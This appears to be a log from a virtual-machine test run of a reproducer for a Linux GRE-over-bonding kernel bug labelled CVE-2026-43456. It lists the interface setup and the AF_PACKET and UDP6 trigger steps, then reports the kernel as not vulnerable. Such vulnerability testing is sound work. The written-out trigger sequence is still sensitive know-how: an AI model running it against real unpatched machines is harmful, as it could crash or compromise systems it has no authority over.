ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] STEP: PRIMARY trigger - AF_PACKET SOCK_DGRAM sendmsg on bond1 [init] ifindex(bond1)=10 [ 14.653504] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] AF_PACKET sendto(bond1) rc=-1 (Invalid argument) [ 14.710325] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] STEP: secondary triggers - UDP6 out bond1 [init] udp6 sendto ff02::1 rc=-1 (Cannot assign requested address) [init] udp6 sendto fe80::2 rc=-1 (Cannot assign requested address) [init] STEP: dump recent kernel log [init] cmd: dmesg 2>/dev/null | tail -50 || true [ 15.302767] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.304132] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 10.335776] PM: Magic number: 2:352:221 [ 10.336616] netconsole: network logging started [ 10.342572] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 10.369187] kworker/u16:0 (70) used greatest stack depth: 29312 bytes left [ 10.391807] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 10.397820] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 10.400148] ALSA device list: [ 10.400397] No soundcards found. [ 10.405274] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 10.406322] cfg80211: failed to load regulatory.db [ 10.412625] check access for rdinit=/init failed: -2, ignoring [ 10.413498] md: Waiting for all devices to be available before autodetect [ 10.413686] md: If you don't use raid, use raid=noautodetect [ 10.413957] md: Autodetecting RAID arrays. [ 10.414133] md: autorun ... [ 10.414276] md: ... autorun DONE. [ 10.438590] EXT4-fs (vda): mounting ext2 file system using the ext4 subsystem [ 10.497662] EXT4-fs (vda): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none. [ 10.552308] ext2 filesystem being mounted at /root supports timestamps until 2038-01-19 (0x7fffffff) [ 10.553642] VFS: Mounted root (ext2 filesystem) on device 253:0. [ 10.572137] devtmpfs: mounted [ 10.677226] Freeing unused kernel image (initmem) memory: 5644K [ 10.677973] Write protecting the kernel read-only data: 40960k [ 10.684665] Freeing unused kernel image (text/rodata gap) memory: 564K [ 10.686233] Freeing unused kernel image (rodata/data gap) memory: 308K [ 11.257597] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 11.260097] Run /init as init process [ 11.260503] with arguments: [ 11.260551] /init [ 11.260576] nokaslr [ 11.260598] with environment: [ 11.260624] HOME=/ [ 11.260644] TERM=linux [ 11.795459] uname (77) used greatest stack depth: 26568 bytes left [ 11.807018] sh (76) used greatest stack depth: 26224 bytes left [ 12.395766] modprobe (81) used greatest stack depth: 24960 bytes left [ 12.641617] gre: GRE over IPv4 demultiplexer driver [ 12.669543] ip_gre: GRE over IPv4 tunneling driver [ 13.840266] bond1: (slave gre1): The slave device specified does not support setting the MAC address [ 13.840799] bond1: (slave gre1): Setting fail_over_mac to active for active-backup mode [ 13.858783] bond1: (slave gre1): making interface the new active one [ 13.861923] bond1: (slave gre1): Enslaving as an active interface with an up link [ 14.084430] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.262656] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.303629] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.533977] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.653504] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 14.710325] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.302767] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 15.304132] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] RESULT: NOT VULNERABLE (setup completed, no kernel crash) [ 16.134186] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [ 16.866755] ACPI: PM: Preparing to enter system sleep state S5 [ 16.870624] reboot: Power down === VULN qemu exit=0 2026-07-03T09:12:21+00:00 === === result markers === 395:[init] STEP: gre1 (local 10.0.0.1, no remote) + bond1 active-backup 396:[init] cmd: /sbin/ip link add gre1 type gre local 10.0.0.1 397:[init] cmd: /sbin/ip link add bond1 type bond mode active-backup 398:[init] STEP: enslave gre1 -> bond1 (bond_setup_by_slave copies header_ops) 399:[init] cmd: /sbin/ip link set gre1 master bond1 400:[ 13.840266] bond1: (slave gre1): The slave device specified does not support setting the MAC address 401:[ 13.840799] bond1: (slave gre1): Setting fail_over_mac to active for active-backup mode 402:[ 13.858783] bond1: (slave gre1): making interface the new active one 403:[ 13.861923] bond1: (slave gre1): Enslaving as an active interface with an up link 404:[init] cmd: /sbin/ip link set gre1 up 405:[init] cmd: /sbin/ip link set bond1 up 406:[ 14.084430] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 407:[init] cmd: /sbin/ip -d link show bond1 2>&1 || true 408:10: bond1: mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000 410: bond mode active-backup active_slave gre1 miimon 0 updelay 0 downdelay 0 peer_notify_delay 0 use_carrier 1 arp_interval 0 arp_missed_max 2 arp_validate none arp_all_targets any primary_reselect always fail_over_mac active xmit_hash_policy layer2 resend_igmp 1 num_grat_arp 1 all_slaves_active 0 min_links 0 lp_interval 1 packets_per_slave 1 lacp_active on lacp_rate slow ad_select stable tlb_dynamic_lb 1 addrgenmode eui64 numtxqueues 16 numrxqueues 16 gso_max_size 65536 gso_max_segs 65535 tso_max_size 65536 tso_max_segs 65535 gro_max_size 65536 411:[init] STEP: IPv6 link-local fe80::1/64 on bond1 (NDP/DAD path) 412:[init] cmd: /sbin/ip addr add fe80::1/64 dev bond1 2>&1 || true 413:[ 14.262656] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 414:[ 14.303629] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 415:[ 14.533977] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 416:[init] STEP: PRIMARY trigger - AF_PACKET SOCK_DGRAM sendmsg on bond1 417:[init] ifindex(bond1)=10 418:[ 14.653504] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 419:[init] AF_PACKET sendto(bond1) rc=-1 (Invalid argument) 420:[ 14.710325] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 421:[init] STEP: secondary triggers - UDP6 out bond1 426:[ 15.302767] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 427:[ 15.304132] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 466:[ 13.840266] bond1: (slave gre1): The slave device specified does not support setting the MAC address 467:[ 13.840799] bond1: (slave gre1): Setting fail_over_mac to active for active-backup mode 468:[ 13.858783] bond1: (slave gre1): making interface the new active one 469:[ 13.861923] bond1: (slave gre1): Enslaving as an active interface with an up link 470:[ 14.084430] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 471:[ 14.262656] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 472:[ 14.303629] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 473:[ 14.533977] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 474:[ 14.653504] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 475:[ 14.710325] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 476:[ 15.302767] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 477:[ 15.304132] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 478:[init] RESULT: NOT VULNERABLE (setup completed, no kernel crash) 479:[ 16.134186] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160